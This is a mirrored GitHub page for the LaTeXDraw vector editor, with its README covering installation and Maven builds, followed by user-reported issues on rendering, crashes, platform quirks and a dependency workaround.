Giter VIP home page Giter VIP logo

latexdraw's Introduction

Download LaTeXDraw Build Status Code Coverage ncloc java java

latexdraw

A vector drawing editor for LaTeX.

Documentation and installation requirements (in particular regarding LaTeX): https://github.com/arnobl/latexdraw/wiki/Manual

Binaries and installation files to download on Sourceforge: http://sourceforge.net/projects/latexdraw/

How to run

You downloaded the binaries of a 4.x version and you want to run the app. Go in the bin folder and launch the latexdraw-run file (or latexdraw-run.bat on Windows).

On Windows, the system may tell you Windows has protected your computer. To overcome this issue, right-click on this file, click on the properties menu, and activate the unlock checkbox.

On MacOSX, you may have the message damaged and can't be opened. You should eject the disk image" after installing the app. Look here: https://secure.clcbio.com/helpspot/index.php?pg=kb.page&id=323 and here: https://osxdaily.com/2019/02/13/fix-app-damaged-cant-be-opened-trash-error-mac/

You do not need Java for running the app. For rendering LaTeX instructions, you need an up-to-date LaTeX installation.

Support

You can support this software by making a donation: http://sourceforge.net/donate/index.php?group_id=156523

How to report a bug

Before reporting a bug, please check the following elements:

  • Make sure you use the latest LaTeXDraw version.

  • Make sure your LaTeX installation is up to date (in particular for export / compilation issues). In particular with MikTeX, run the update utilities to check that. We already faced errors solved by updating MikTeX.

  • Do you have LaTeX and some required packages installed? The required packages are: pstricks, pstricks-add, pst-grad, pst-plot, geometry, pst-tools. To render text thumbnails the app use either GhostScript (gs) or pdftoppm (provided by poppler-utils and Texlive on Linux ).

  • With MikTeX, check the auto-install of missing packages is enable. MikTeX can install on-demand (during the compilation of a document) the missing packages. Go in the MikTeX preferences to check that this feature is enable (either 'yes' or 'ask me first'), as depicted by the following screenshot:

miktext config

If you still have a problem, please do the following steps while reporting the bug:

  • Copy/paste in a bug report or on the forum the information provided in the "system" tab you can find here: "Help" menu -> "About LateXDraw" menu item -> "system" tab.

  • Provide either a scenario that I can execute to reproduce the problem, or an SVG document plus some instructions regarding the problem.

  • Be nice. You did not pay for the software and I develop it on my free time since more than one decade.

  • Report your bug on Github (https://github.com/latexdraw/latexdraw/issues).

Latest development version

You can test the next 4.x development version using the following binaries and installation files:

Linux packaging

Packaging status

Build LaTeXDraw

To compile you need JDK14 and Maven: https://adoptopenjdk.net

The default Maven profile is for Linux and does not work for Windows and MacOSX If you want to compile the project on MacOSX use the mac profile. On Windows, use the win profile. To do so, you have to add the option -P mac or -P win in the following Maven commands.

If you just want to compile the app: mvn clean compile

If you want to build the app (and produce platform-specific installer files): mvn clean package

If you run the tests, you need LaTeX to be installed (and PSTricks packages). If you want to skip the tests: mvn -DskipTests=true clean package

If you want to skip the tests and the linters: mvn clean package -DskipTests -Dcheckstyle.skip -Dspotbugs.skip

The packaging step is specific for each OS (Fedora, Debian, Windows, MacOSX, etc.): it uses tools these OS' provide to build installation files. These tools are:

  • On Fedora, you need rpmbuild: dnf install rpm-build
  • On Debian/Ubuntu, you need fakeroot: apt install fakeroot
  • On Windows, you need WIX toolset (https://wixtoolset.org)
  • On MacOSX, it seems to work without any supplementary installation

If you do not want to go through this step, you can ask Maven to ignore these steps: mvn clean package -Dexec.skip -Dassembly.skipAssembly

LaTeXDraw 3.x serie

We do not maintain the 3.x serie anymore. You can find the 3.x help page here: https://github.com/latexdraw/latexdraw/wiki/Manual-for-Versions-3.x

latexdraw's People

Contributors

ahresse avatar arnobl avatar dependabot[bot] avatar microwave54 avatar valerialelli avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

latexdraw's Issues

Copy-pasted objects does not follow the magnetic grid

Characteristics

Description

ctrl+v command places the new object with a small offset from the magnetic grid points.

Steps to reproduce

  1. Create a line
  2. Select the line, ctrl+c and ctrl+v
  3. Try tho move the new line over the old line

(Please provide an input file or code you used to produce the issue)
issue_with_copypasted_objects_alignment

Fail to install on Windows with admin privileges

I'm trying to install the software on Windows OS. I downloaded the latest version from here. Then unzipped the file and tried to run the installer.jar. However, it fails:

                         

Installation failed

Lunch the installer as administrator.

I tried different methods to run the .jar file as admin but didn't succeed.

Keyboard shortcuts not working on MacOSX for 4.0 and upwards

Characteristics

Description

The keyboard shortcuts on MacOSX don't seem to be working correctly for LaTexDraw 4.0 and 4.0.1. For instance, I couldn't copy/paste or select-all figures using keyboard shortcuts. I reverted to 3.3.9 and there it works fine.

Steps to reproduce

  1. Draw anything (on a Mac running Catalina).
  2. Try to copy and paste using keyboard shortcuts.

Can't finish drawing line

I can't accept a line nor finish drawing it. I tried hitting ENTER and ESC but ESC only deletes the whole line and ENTER does not do anything.

How do I accept the current drawn line?

Running macOS 10.12.4

Rounded rectangle not correctly rendered

Characteristics

  • LaTeXDraw version number: 4.0.1
  • Operating System: linux

Description

In some situations, a rounded rectangle is not correctly rendered.

Steps to reproduce

Create a rectangle like this one:
#28 (comment)

Export it as PDF.
The renderings differ.

zh_CN characters are shown as tofu

Characteristics

Description

zh_CN characters are shown as tofu

Steps to reproduce

  1. change Languages to "Chinese (China)" in Preferences. make sure you have CJK font installed in your system if you'd like to check this issue. You could install noto-cjk.
  2. open a dialog with translated Chinese, for example, the shortcuts dialog.
  3. check this screenshot for example:
    image

I also check "Chinese (Taiwan)", the characters are shown as tofu too.

Latex text not rendering in Windows 11

Characteristics

  • LaTeXDraw version number:4.0.3 -- 06-12-20
  • Operating System: Windows
  • Operating System version: Windows 11 Home
  • Type: bug

Description

The Latex compiler is not working, so it is not rendering Latex text, even after typing \usepackage{amssymb} and similar in the preferences.

For what it's worth, I have two laptops running on Windows 11 with MikTex installed and I can only reproduce the issue in one of them (which is even more confusing).

I have checked that MikTex and Windows are up to date and have made sure I can compile Latex documents. When I type any text in LatexDraw that should display in math mode it doesn't render and the compilation log stays empty.

Steps to reproduce

Open LatexDraw, add usepackage{amssymb} to the preferences and add text $x$ anywhere on the page. It continues to display as $x$ instead of $x$.

ETA: My goal is to render Latex, but I just realized that regular text would also be rendered differently (in Computer Modern font, for one). This may hint that the issue is not necessarily with the Latex compiler but something else? Still not sure what, though.

latexdraw won't start

hi, first of all, thx for the app. Makes my life easier a lot :-). I guess my problem is not caused by latexdraw but don't know if and where to ask else. When I start latexdraw on arch linux i get the following error:
latexdraw Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.defaultlaf=com.sun.java.swing.plaf.gtk.GTKLookAndFeel Exception in thread "main" java.lang.UnsupportedClassVersionError: org/malai/swing/ui/SwingUI : Unsupported major.minor version 52.0 at java.lang.ClassLoader.defineClass1(Native Method) at java.lang.ClassLoader.defineClass(ClassLoader.java:803) at java.security.SecureClassLoader.defineClass(SecureClassLoader.java:142) at java.net.URLClassLoader.defineClass(URLClassLoader.java:442) at java.net.URLClassLoader.access$100(URLClassLoader.java:64) at java.net.URLClassLoader$1.run(URLClassLoader.java:354) at java.net.URLClassLoader$1.run(URLClassLoader.java:348) at java.security.AccessController.doPrivileged(Native Method) at java.net.URLClassLoader.findClass(URLClassLoader.java:347) at java.lang.ClassLoader.loadClass(ClassLoader.java:425) at sun.misc.Launcher$AppClassLoader.loadClass(Launcher.java:312) at java.lang.ClassLoader.loadClass(ClassLoader.java:358) at net.sf.latexdraw.LaTeXDraw.main(LaTeXDraw.scala)
Maybe someone else got something similar? Why the hell it's connected to swingui / java? Thx for any response an hint!

[question] Why is it so hard to get fine control over the drawings and objects

Hi and thanks for creating this nice tool.
I was wondering if you could help me answer a few questions which could be due to my ignorance with latedraw?

Whenever I try to draw something it takes me so much time to get the shapes and drawings where exactly I need them to be (things are not smooth compared to inkspace), and that is mostly because it seems like all the objects on the grid for some reason are so snappy that don't allow me full control over them.

For instance tying to draw a circle and then a line inside indicating the radius. Trying to get the line exactly from the middle of the circle to its boundary was a pain in the ass.

I dunno if there's something in regards to the settings or if others have had similar experience.

Finally, what's the recommended way in latexdraw to export drawing for latex but with the ability whenever needed at later stages to easiliy load them back in latexdraw and modify them.

Thanks.

Zoom spinner not updated on file loading

Characteristics

  • LaTeXDraw version number: 4.0.1
  • Operating System: linux

Description

When loading a file that zooming is different than 100%, the zoom spinner's value is not correct (stay to 100).

Steps to reproduce

Create an SVG file which zooming level is different than 100.
Close the app.
Launch the app and load the file.

No MacOsX menubar

Characteristics

  • LaTeXDraw version number: 4.0.1
  • Operating System: MacOSX
  • Operating System version: 10.14.6

Description

I installed LaTeXDraw and it does not show as normal. First comes only a gray window. After clicking on it, it shows properly but the menu bar never appears. See picture:

image

I have tried both the binary and the dmg package. Same result.

Steps to reproduce

Installing?

Cannot open drawings that contain pictures

Characteristics

  • LaTeXDraw version number: 4.0.3
  • Operating System: Windows
  • Operating System version: 19043.985
  • Type: bug

Description

I cannot open SVG files created with latexdraw that contain pictures. latexdraw shows a blank page. Other objects like circles are also not displayed. Maybe because http://latexdraw.sourceforge.net/namespaces/latexdraw is down? Or is it a local issue?

Steps to reproduce

I have created the file test.svg (attached
test.txt
) to reproduce the error. When I open test.svg, latexdraw shows a blank page (I tried with random pictures).

Compilation error messages may freeze the application when mouse-hovering them

Arch Linux x86_64
Version 3.3.5, build 20161230
Current LaTeX options:

\usepackage{amsmath,amsthm,amssymb}
\usepackage{mathtext}

Result of About -> System http://sprunge.us/fbgF
SVG file: http://sprunge.us/BRjb (with syntax highlighting)

LaTeX renders simply as plaintext. When I try to hover on a text box to view the error, an empty gray box longer than my screen and the height of one text line appears, freezing latexdraw (Ctrl+C was ineffective, had to xkill).

Any additional information necessary, just let me know.

Background grid does not follow the zooming level

Characteristics

Description

  1. Magnetic grid changes with zoom.

  2. Text and line alignment options do not work as they should.

  3. Writing commands in math environment (like \cdot) blocks the application

Steps to reproduce

Draw a line with magnetic grid.
Zoom.
An offset appears between the grid and the working area.
Moving the extrema of the line around they do not stick to any crossing of the grid.

Draw a line.
Write some text.
Try, for example, to vertically or horizontally align them.

Just try to type $\cdot$. For me it blocks when I type $\ $ or $\

(Please provide an input file or code you used to produce the issue)

Grafcet_gen_full.zip

Sourceforge.net download not working

Characteristics

[rhetorical question]

  • Be sure that the issue you open refers to a single bug or feature request.
    yes

Description

The download link/package/file on sourceforge.net isn't working. It goes up to 35, 45, 55 minutes in download times in chrome. Even I tried two mirrors close to my country; nope.

Steps to reproduce

  1. Get a [my service provider]'s router.
  2. go to the download link
  3. Issue.

(Please provide an input file or code you used to produce the issue) - After I get to my Windows machine; I am currently in my office :)
Please give me the link to the latest 32-bit release in github.
Thank you

Latexdraw crashes in ubuntu

#
# A fatal error has been detected by the Java Runtime Environment:
#
#  SIGSEGV (0xb) at pc=0x00007f1519c43db3, pid=5486, tid=0x00007f15189bf700  
#
# JRE version: Java(TM) SE Runtime Environment (8.0_101-b13) (build 1.8.0_101-b13)
# Java VM: Java HotSpot(TM) 64-Bit Server VM (25.101-b13 mixed mode linux-amd64 compressed oops)
# Problematic frame:
# C  [i965_dri.so+0x99db3]
#
# Failed to write core dump. Core dumps have been disabled. To enable core dumping, try "ulimit -c unlimited" before starting Java again
#
# An error report file with more information is saved as:
# /home/xmfz/hs_err_pid5486.log 
#
# If you would like to submit a bug report, please visit:
#   http://bugreport.java.com/bugreport/crash.jsp
# The crash happened outside the Java Virtual Machine in native code.
# See problematic frame for where to report the bug.  
#
Aborted (core dumped)

Feature suggestion

Characteristics

Description

Fit document to screen
Center Document on page
Center document on object
Fix or adjust scroll speed
Mouse wheel scrolling for page size
Larger selection band for mouse pointer

Steps to reproduce

How to draw a spline in LatexDraw

Hello

I recently switched to LatexDraw from xFig for my drawing needs. I am trying to find a way to make spline curves (after specifying points) in LatexDraw but I can't find it. I am on LatexDraw 3.3 on Arch Linux. Am I missing anything or its not yet possible in LatexDraw ?

Thanks

build latexdraw from the source for ArchLinux (patch available, could be helpful for other distribution)

errors

If you get this error:

[ERROR] Failed to execute goal on project latexdraw: Could not resolve dependencies for project net.sf.latexdraw:latexdraw:jar:4.0.3: Failed to collect dependencies at io.reactivex:rxjavafx:jar:2.11.0-RC33: Failed to read artifact descriptor for io.reactivex:rxjavafx:jar:2.11.0-RC33: Could not transfer artifact io.reactivex:rxjavafx:pom:2.11.0-RC33 from/to maven-default-http-blocker (http://0.0.0.0/): Blocked mirror for repositories: [mavenTriskellRelease (http://maven.inria.fr/artifactory/triskell-public-release, default, releases), mavenInriaSnapshot (http://maven.inria.fr/artifactory/malai-public-snapshot, default, snapshots)] -> [Help 1]

maven >= 3.8.1 blocks HTTP mirrors by default, see also cve-2021-26291.
If we re-enable HTTP for maven by modifying your $HOME/.m2/settings.xml, just like this post suggests:

<?xml version="1.0" encoding="UTF-8"?>
<settings xmlns="http://maven.apache.org/SETTINGS/1.2.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://maven.apache.org/SETTINGS/1.2.0 http://maven.apache.org/xsd/settings-1.2.0.xsd">
    <mirrors>
      <mirror>
        <id>maven-default-http-blocker</id>
        <mirrorOf>dummy</mirrorOf>
        <blocked>false</blocked>
        <name>Dummy mirror to override default blocking mirror that blocks http</name>
        <url>http://0.0.0.0/</url>
      </mirror>
  </mirrors>
</settings>

We still get this error:

[ERROR] Failed to execute goal on project latexdraw: Could not resolve dependencies for project net.sf.latexdraw:latexdraw:jar:4.0.3: Could not find artifact io.reactivex:rxjavafx:jar:2.11.0-RC33 in mavenTriskellRelease (http://maven.inria.fr/artifactory/triskell-public-release) -> [Help 1]

It seems that io.reactivex:rxjavafx:jar:2.11.0-RC33 is not publicly available in http://maven.inria.fr anymore.

Solution

  1. We could use rxjavafx from other maven repo. JitPack is a good choice. 2. Note We need rxjavafx == 2.11.0-RC34, 2.11.0-RC33 is not working due to lack of module-info.java.
  2. I have create a patch 0001-use-rxjavafx-from-jitpack.io.patch at AUR. ArchLinux users could build the package from the PKGBUILD at AUR.
  3. Users using other Linux distributions could also use the above patch.
  4. Note we need JDK 14 to build latexdraw.
    Hope this could help everyone.

LaTeX documents fail at compiling on Windows 10

Since upgrading to 4.0 I've been unable to export to pdf or eps (export to png or jpeg works). When I click export to pdf LatexDraw will say "Export as picture done!" but I nonetheless get the following system error. Any help would be appreciated!

java.io.FileNotFoundException: Cannot create a temporary folder.
at [email protected]/net.sf.latexdraw.view.latex.LaTeXGenerator.createPDFFile(Unknown Source)
at [email protected]/net.sf.latexdraw.command.Export.exportAsPDF(Unknown Source)
at [email protected]/net.sf.latexdraw.command.Export.export(Unknown Source)
at [email protected]/net.sf.latexdraw.command.Export.doCmdBody(Unknown Source)
at [email protected]/io.github.interacto.command.CommandImpl.doIt(Unknown Source)
at [email protected]/io.github.interacto.binding.WidgetBindingImpl.executeCmd(Unknown Source)
at [email protected]/io.github.interacto.binding.WidgetBindingImpl.fsmStops(Unknown Source)
at [email protected]/io.github.interacto.fsm.FSM.notifyHandlerOnStop(Unknown Source)
at [email protected]/io.github.interacto.fsm.FSM.onTerminating(Unknown Source)
at [email protected]/io.github.interacto.fsm.TerminalState.enter(Unknown Source)
at [email protected]/io.github.interacto.fsm.Transition.execute(Unknown Source)
at [email protected]/io.github.interacto.fsm.OutputState.process(Unknown Source)
at [email protected]/io.github.interacto.fsm.FSM.process(Unknown Source)
at [email protected]/io.github.interacto.jfx.interaction.JfxFSM.process(Unknown Source)
at [email protected]/io.github.interacto.jfx.interaction.JfxFSM.process(Unknown Source)
at [email protected]/io.github.interacto.interaction.InteractionImpl.directEventProcess(Unknown Source)
at [email protected]/io.github.interacto.interaction.InteractionImpl.processEvent(Unknown Source)
at [email protected]/io.github.interacto.jfx.interaction.JfxInteraction.lambda$getActionHandler$24(Unknown Source)
at javafx.base/com.sun.javafx.event.CompositeEventHandler$NormalEventHandlerRecord.handleBubblingEvent(Unknown Source)
at javafx.base/com.sun.javafx.event.CompositeEventHandler.dispatchBubblingEvent(Unknown Source)
at javafx.base/com.sun.javafx.event.EventHandlerManager.dispatchBubblingEvent(Unknown Source)
at javafx.base/com.sun.javafx.event.EventHandlerManager.dispatchBubblingEvent(Unknown Source)
at javafx.base/com.sun.javafx.event.BasicEventDispatcher.dispatchEvent(Unknown Source)
at javafx.base/com.sun.javafx.event.EventDispatchChainImpl.dispatchEvent(Unknown Source)
at javafx.base/com.sun.javafx.event.EventUtil.fireEventImpl(Unknown Source)
at javafx.base/com.sun.javafx.event.EventUtil.fireEvent(Unknown Source)
at javafx.base/javafx.event.Event.fireEvent(Unknown Source)
at javafx.controls/javafx.scene.control.MenuItem.fire(Unknown Source)
at javafx.controls/com.sun.javafx.scene.control.ContextMenuContent$MenuItemContainer.doSelect(Unknown Source)
at javafx.controls/com.sun.javafx.scene.control.ContextMenuContent$MenuItemContainer.lambda$createChildren$12(Unknown Source)
at javafx.base/com.sun.javafx.event.CompositeEventHandler$NormalEventHandlerRecord.handleBubblingEvent(Unknown Source)
at javafx.base/com.sun.javafx.event.CompositeEventHandler.dispatchBubblingEvent(Unknown Source)
at javafx.base/com.sun.javafx.event.EventHandlerManager.dispatchBubblingEvent(Unknown Source)
at javafx.base/com.sun.javafx.event.EventHandlerManager.dispatchBubblingEvent(Unknown Source)
at javafx.base/com.sun.javafx.event.CompositeEventDispatcher.dispatchBubblingEvent(Unknown Source)
at javafx.base/com.sun.javafx.event.BasicEventDispatcher.dispatchEvent(Unknown Source)
at javafx.base/com.sun.javafx.event.EventDispatchChainImpl.dispatchEvent(Unknown Source)
at javafx.base/com.sun.javafx.event.BasicEventDispatcher.dispatchEvent(Unknown Source)
at javafx.base/com.sun.javafx.event.EventDispatchChainImpl.dispatchEvent(Unknown Source)
at javafx.base/com.sun.javafx.event.BasicEventDispatcher.dispatchEvent(Unknown Source)
at javafx.base/com.sun.javafx.event.EventDispatchChainImpl.dispatchEvent(Unknown Source)
at javafx.base/com.sun.javafx.event.BasicEventDispatcher.dispatchEvent(Unknown Source)
at javafx.base/com.sun.javafx.event.EventDispatchChainImpl.dispatchEvent(Unknown Source)
at javafx.base/com.sun.javafx.event.EventUtil.fireEventImpl(Unknown Source)
at javafx.base/com.sun.javafx.event.EventUtil.fireEvent(Unknown Source)
at javafx.base/javafx.event.Event.fireEvent(Unknown Source)
at javafx.graphics/javafx.scene.Scene$MouseHandler.process(Unknown Source)
at javafx.graphics/javafx.scene.Scene$MouseHandler.access$1200(Unknown Source)
at javafx.graphics/javafx.scene.Scene.processMouseEvent(Unknown Source)
at javafx.graphics/javafx.scene.Scene$ScenePeerListener.mouseEvent(Unknown Source)
at javafx.graphics/com.sun.javafx.tk.quantum.GlassViewEventHandler$MouseEventNotification.run(Unknown Source)
at javafx.graphics/com.sun.javafx.tk.quantum.GlassViewEventHandler$MouseEventNotification.run(Unknown Source)
at java.base/java.security.AccessController.doPrivileged(Unknown Source)
at javafx.graphics/com.sun.javafx.tk.quantum.GlassViewEventHandler.lambda$handleMouseEvent$2(Unknown Source)
at javafx.graphics/com.sun.javafx.tk.quantum.QuantumToolkit.runWithoutRenderLock(Unknown Source)
at javafx.graphics/com.sun.javafx.tk.quantum.GlassViewEventHandler.handleMouseEvent(Unknown Source)
at javafx.graphics/com.sun.glass.ui.View.handleMouseEvent(Unknown Source)
at javafx.graphics/com.sun.glass.ui.View.notifyMouse(Unknown Source)
at javafx.graphics/com.sun.glass.ui.win.WinApplication._runLoop(Native Method)
at javafx.graphics/com.sun.glass.ui.win.WinApplication.lambda$runLoop$3(Unknown Source)
at java.base/java.lang.Thread.run(Unknown Source)

feature request: editor features

some features for the editor::

  • double vertical split style (consider OpenSCAD)
  • the font size of the editor is too small. it would be great to make it adjustable
  • syntax highlighting and other common code editors features

Incorrect drawing of axes when negative origin

  1. I am trying to set the x axis origin to a negative value. But then the axis labels move far to the left. The arrows seem to be fine. I would appreciate some help.

image

  1. How do you change the size of the drawing area?

  2. I am confused about the grid. I set it to 32 pixels, and also set the axes label increment to 32. But they are not the same size. The grid increment is smaller than the axis increment. What do I need to do?

Tikz Support

This looks fantastic! I found this while looking for a GUI to generate Tikz code. While ps code can absolutely be included in LaTeX documents, it's far more cumbersome to edit the code later.

As such, I was wondering if there might be any support for generating Tikz code in the future?

Thanks,

tecosaur.

App freezes on text edit

Characteristics

  • LaTeXDraw version number: 4.0.2
  • Operating System: Windows
  • Operating System version: Windows 10
  • Type: Request (or Bug...no clue)

Description

I've been working with this app for at least 4 years, great App. Point is: I've just installed the latest version and it does not compile text, as a matter of fact it stops working and does not respond to any comand as soon as I type a formula in LaTex. It appears it can tolerate the greeks and the standard alphabet, but nothing slightly more complex. The mere input of $\hat{}$ or $\frac{$ causes its sudden arrest.
Now, before writing this, I have checked the required packages being installed and Miktext: they look fine, it compiles as usual, the package gs1 and Ghostscript are installed as well.
Does it come to mind to anyone a plausible reason for this weird reaction that I might have neglected?
Thank you in advance.

Unable to use latest Texlive to compile in LaTeXDraw

Characteristics

  • LaTeXDraw version number: 4.0.1
  • Operating System: Linux (Ubuntu)
  • Operating System version: 20.04

Hi, many thanks for developing this software. I have gone through the list of issues but do not find any solution which would help me solve my issue.

Description

Upon updating Texlive to its latest version, I am unable to use to LaTexDraw compile any of the latex equations. I can however use the latest Texlive to compile any other latex documents. I am attaching a screenshot
Screenshot-20200503195500-1382x767
All of those tex commands remain as it is. The error it prints is that it cannot locate pstricks.sty file.
On checking I found that LaTexDraw still uses the older version of Texlive (which do not have all the packages installed). Is there a way to configure LaTexDraw to use the latest Texlive?

GS and pdftoppm not found on MacOSX

Characteristics

  • LaTeXDraw version number: 4.0.1
  • Operating System: MacOSX
  • Operating System version: 10.14.6

Description

In 3.3.9 latex equations (still) work fine, but in 4.0.1 it does not find gs and pdftoppm.

Steps to reproduce

Run it out of the box!

This is pdfTeX, Version 3.14159265-2.6-1.40.21 (TeX Live 2020) (preloaded format=latex)
restricted \write18 enabled.
entering extended mode

(/var/folders/6x/vq4wwd311z5cd6d6p20m4bh00000gn/T/latexdrawTmp15885843092374119
513551834204033670164/latexdrawTmpPic1588584309246.tex
LaTeX2e <2020-02-02> patch level 5
L3 programming layer <2020-03-06>
(/usr/local/texlive/2020/texmf-dist/tex/latex/standalone/standalone.cls
Document Class: standalone 2018/03/26 v1.3a Class to compile TeX sub-files stan
dalone
(/usr/local/texlive/2020/texmf-dist/tex/latex/tools/shellesc.sty)
(/usr/local/texlive/2020/texmf-dist/tex/generic/iftex/ifluatex.sty
(/usr/local/texlive/2020/texmf-dist/tex/generic/iftex/iftex.sty))
(/usr/local/texlive/2020/texmf-dist/tex/latex/xkeyval/xkeyval.sty
(/usr/local/texlive/2020/texmf-dist/tex/generic/xkeyval/xkeyval.tex
(/usr/local/texlive/2020/texmf-dist/tex/generic/xkeyval/xkvutils.tex
(/usr/local/texlive/2020/texmf-dist/tex/generic/xkeyval/keyval.tex))))
(/usr/local/texlive/2020/texmf-dist/tex/latex/standalone/standalone.cfg)
(/usr/local/texlive/2020/texmf-dist/tex/latex/base/article.cls
Document Class: article 2019/12/20 v1.4l Standard LaTeX document class
(/usr/local/texlive/2020/texmf-dist/tex/latex/base/size10.clo)))
(/usr/local/texlive/2020/texmf-dist/tex/latex/pstricks/pstricks.sty
(/usr/local/texlive/2020/texmf-dist/tex/latex/xcolor/xcolor.sty
(/usr/local/texlive/2020/texmf-dist/tex/latex/graphics-cfg/color.cfg)
(/usr/local/texlive/2020/texmf-dist/tex/latex/graphics-def/dvips.def)
(/usr/local/texlive/2020/texmf-dist/tex/latex/graphics/dvipsnam.def))
(/usr/local/texlive/2020/texmf-dist/tex/generic/xkeyval/pst-xkey.tex)
(/usr/local/texlive/2020/texmf-dist/tex/generic/pstricks/pstricks.tex
(/usr/local/texlive/2020/texmf-dist/tex/generic/pstricks/pst-fp.tex
pst-fp' v0.05, 2010/01/17 (hv)) (/usr/local/texlive/2020/texmf-dist/tex/generic/pgf/utilities/pgfutil-common.te x (/usr/local/texlive/2020/texmf-dist/tex/generic/pgf/utilities/pgfutil-common-li sts.tex)) (/usr/local/texlive/2020/texmf-dist/tex/generic/pgf/utilities/pgfkeys.code.tex (/usr/local/texlive/2020/texmf-dist/tex/generic/pgf/utilities/pgfkeysfiltered.c ode.tex)) (/usr/local/texlive/2020/texmf-dist/tex/generic/pgf/utilities/pgffor.code.tex Loading pgffor.code.tex (/usr/local/texlive/2020/texmf-dist/tex/generic/pgf/math/pgfmath.code.tex (/usr/local/texlive/2020/texmf-dist/tex/generic/pgf/math/pgfmathcalc.code.tex (/usr/local/texlive/2020/texmf-dist/tex/generic/pgf/math/pgfmathutil.code.tex) (/usr/local/texlive/2020/texmf-dist/tex/generic/pgf/math/pgfmathparser.code.tex ) (/usr/local/texlive/2020/texmf-dist/tex/generic/pgf/math/pgfmathfunctions.code. tex (/usr/local/texlive/2020/texmf-dist/tex/generic/pgf/math/pgfmathfunctions.basic .code.tex) (/usr/local/texlive/2020/texmf-dist/tex/generic/pgf/math/pgfmathfunctions.trigo nometric.code.tex) (/usr/local/texlive/2020/texmf-dist/tex/generic/pgf/math/pgfmathfunctions.rando m.code.tex) (/usr/local/texlive/2020/texmf-dist/tex/generic/pgf/math/pgfmathfunctions.compa rison.code.tex) (/usr/local/texlive/2020/texmf-dist/tex/generic/pgf/math/pgfmathfunctions.base. code.tex) (/usr/local/texlive/2020/texmf-dist/tex/generic/pgf/math/pgfmathfunctions.round .code.tex) (/usr/local/texlive/2020/texmf-dist/tex/generic/pgf/math/pgfmathfunctions.misc. code.tex) (/usr/local/texlive/2020/texmf-dist/tex/generic/pgf/math/pgfmathfunctions.integ erarithmetics.code.tex))) (/usr/local/texlive/2020/texmf-dist/tex/generic/pgf/math/pgfmathfloat.code.tex) )) PSTricks' v2.97 <2019/05/11> (tvz,hv)
(/usr/local/texlive/2020/texmf-dist/tex/generic/pstricks/pstricks.con))
(/usr/local/texlive/2020/texmf-dist/tex/generic/pstricks/pst-fp.tex))
(/usr/local/texlive/2020/texmf-dist/tex/latex/l3backend/l3backend-dvips.def)
No file latexdrawTmpPic1588584309246.aux.
[1]
(/var/folders/6x/vq4wwd311z5cd6d6p20m4bh00000gn/T/latexdrawTmp15885843092374119
513551834204033670164/latexdrawTmpPic1588584309246.aux) )
Output written on /var/folders/6x/vq4wwd311z5cd6d6p20m4bh00000gn/T/latexdrawTmp
15885843092374119513551834204033670164/latexdrawTmpPic1588584309246.dvi (1 page
, 940 bytes).
Transcript written on /var/folders/6x/vq4wwd311z5cd6d6p20m4bh00000gn/T/latexdra
wTmp15885843092374119513551834204033670164/latexdrawTmpPic1588584309246.log.
This is dvips(k) 2020.1 Copyright 2020 Radical Eye Software (www.radicaleye.com)
' TeX output 2020.05.04:1125' -> /var/folders/6x/vq4wwd311z5cd6d6p20m4bh00000gn/T/latexdrawTmp15885843092374119513551834204033670164/latexdrawTmpPic1588584309246.eps
</usr/local/texlive/2020/texmf-dist/dvips/base/tex.pro>
</usr/local/texlive/2020/texmf-dist/dvips/pstricks/pstricks.pro>
</usr/local/texlive/2020/texmf-dist/dvips/pstricks/pst-algparser.pro>
</usr/local/texlive/2020/texmf-dist/dvips/pst-tools/pst-tools.pro>
</usr/local/texlive/2020/texmf-dist/dvips/pstricks/pst-dots.pro>
</usr/local/texlive/2020/texmf-dist/dvips/l3backend/l3backend-dvips.pro>
</usr/local/texlive/2020/texmf-dist/dvips/base/texps.pro>
</usr/local/texlive/2020/texmf-dist/dvips/base/special.pro>
</usr/local/texlive/2020/texmf-dist/dvips/base/color.pro>.
</usr/local/texlive/2020/texmf-dist/fonts/type1/public/amsfonts/cm/cmssbx10.pfb>
[1]
ERR while execute the command : [gs, -dNOPAUSE, -dBATCH, -sDEVICE=pngalpha, -r255, -o, /var/folders/6x/vq4wwd311z5cd6d6p20m4bh00000gn/T/latexdrawTmp15885843092374119513551834204033670164/latexdrawTmpPic1588584309246.png, /var/folders/6x/vq4wwd311z5cd6d6p20m4bh00000gn/T/latexdrawTmp15885843092374119513551834204033670164/latexdrawTmpPic1588584309246.pdf]: Cannot run program "gs": error=2, No such file or directory
ERR while execute the command : [pdftoppm, -png, -r, 255, /var/folders/6x/vq4wwd311z5cd6d6p20m4bh00000gn/T/latexdrawTmp15885843092374119513551834204033670164/latexdrawTmpPic1588584309246.pdf, /var/folders/6x/vq4wwd311z5cd6d6p20m4bh00000gn/T/latexdrawTmp15885843092374119513551834204033670164/latexdrawTmpPic1588584309246]: Cannot run program "pdftoppm": error=2, No such file or directory

text position

Characteristics

Description

Position of text on interface does not correspond with the position text has assigned and also shows in the generated pdf.

Steps to reproduce

Draw a rectangle for relative position. Add a text with different location of hot spot

(Please provide an input file or code you used to produce the issue)

<g>
    <g latexdraw:type="rectangle" id="id1079050945">
        <rect x="384.0" y="158.0" width="407.0" height="96.0" latexdraw:borderPos="outer" stroke="black" stroke-width="2.0" fill="none"/>
    </g>
    <g latexdraw:type="text" id="id2120527475" fill="black" latexdraw:position="tr">
        <text x="791.0" y="158.0">hot spot right upper corner on rectangle corner</text>
    </g>
    <g latexdraw:type="text" id="id225448334" fill="black" latexdraw:position="tr">
